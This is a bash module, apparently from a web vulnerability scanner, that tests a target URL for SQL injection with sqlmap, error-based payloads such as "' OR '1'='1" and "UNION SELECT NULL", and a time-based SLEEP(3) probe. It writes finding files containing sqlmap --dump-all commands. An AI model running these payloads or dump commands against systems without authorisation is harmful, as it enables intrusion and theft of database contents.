#!/usr/bin/env bash
# Vector 01: SQL Injection
# Desc: Database injection attacks (basic, blind, time-based, error-based)
# Detect: Forms, login pages, URL parameters, search bars
# Severity: CRITICAL
# Tools: sqlmap, curl

vector_sqli() {
  local target="$1"
  local report="$2"
  local domain=$(echo "$target" | sed 's|https\?://||' | cut -d/ -f1)
  
  print_info "Testing SQL Injection vectors..."
  
  # Find injectable parameters
  local params=$(curl -s "$target" 2>/dev/null | sed -n 's/.*name="\([^"]*\)".*/\1/p' | sed 's/name="//;s/"//' | head -10)
  local url_params=$(echo "$target" | sed -n 's/.*[?&]\([^=]*\)=.*/\1/p' | head -10)
  
  local findings=0
  
  # 1. Basic SQLi test with sqlmap
  if command -v sqlmap &>/dev/null; then
    print_sub "Running sqlmap (basic scan)..."
    local sqlmap_out=$(timeout 120 sqlmap -u "$target" --batch --level=2 --risk=2 --random-agent \
      --output-dir="$REPORTS_DIR/.sqlmap" 2>&1 | tail -100)
    
    if echo "$sqlmap_out" | grep -qi "Parameter.*GET\|injectable\|vulnerable\|Type:"; then
      local injectable=$(echo "$sqlmap_out" | perl -nle 'print "$1 ($2)" while /(Parameter: [^ ]+ \(|Type: [^)]+\))/g' | head -5)
      print_find "SQL Injection!" "$injectable"
      
      # Save finding
      echo "SEVERITY: CRITICAL
VECTOR: SQL Injection
DETAIL: sqlmap confirmed injectable parameters: $injectable (target: $target)
EVIDENCE: $injectable
EXPLOIT: sqlmap -u \"$target\" --batch --dump-all --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_sqli.txt"
      
      findings=$((findings + 1))
    fi
  fi
  
  # 2. Manual error-based detection
  print_sub "Checking error-based SQLi..."
  local error_payloads=("'" "1'" "1=1--" "1' OR '1'='1" '" OR "1"="1' "' UNION SELECT NULL--")
  
  for payload in "${error_payloads[@]}"; do
    local test_url="${target}${target}"
    [[ "$target" == *\?* ]] && test_url="${target}&q=${payload}" || test_url="${target}?q=${payload}"
    
    local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
    if echo "$response" | grep -qi "sql\|mysql\|syntax\|ora-\|you have an error\|unclosed\|quotation mark\|odbc\|driver\|mysql_fetch\|pg_"; then
      print_find "Error-based SQLi confirmed!" "Database error messages detected with payload: $payload"
      findings=$((findings + 1))
      break
    fi
  done
  
  # 3. Time-based blind detection
  print_sub "Checking time-based blind SQLi..."
  local sleep_test="${target}"
  if [[ "$target" == *\?* ]]; then
    sleep_test="${target}&id=1' OR SLEEP(3)--"
  else
    sleep_test="${target}?id=1' OR SLEEP(3)--"
  fi
  
  local start_time=$(date +%s)
  curl -s --connect-timeout 3 --max-time 10 "$sleep_test" >/dev/null 2>&1
  local end_time=$(date +%s)
  local elapsed=$((end_time - start_time))
  
  if [ "$elapsed" -ge 3 ]; then
    print_find "Time-based blind SQLi confirmed!" "Response delayed ${elapsed}s with SLEEP(3) payload"
    echo "SEVERITY: CRITICAL
VECTOR: SQL Injection (Time-based Blind)
DETAIL: Time-based blind SQLi confirmed on $target
EVIDENCE: Response delayed ${elapsed}s with SLEEP(3) payload
EXPLOIT: sqlmap -u \"$target\" --batch --technique=T --dump --random-agent" > "$REPORTS_DIR/.finding_$(date +%s)_time-sqli.txt"
    findings=$((findings + 1))
  fi
  
  return $findings
}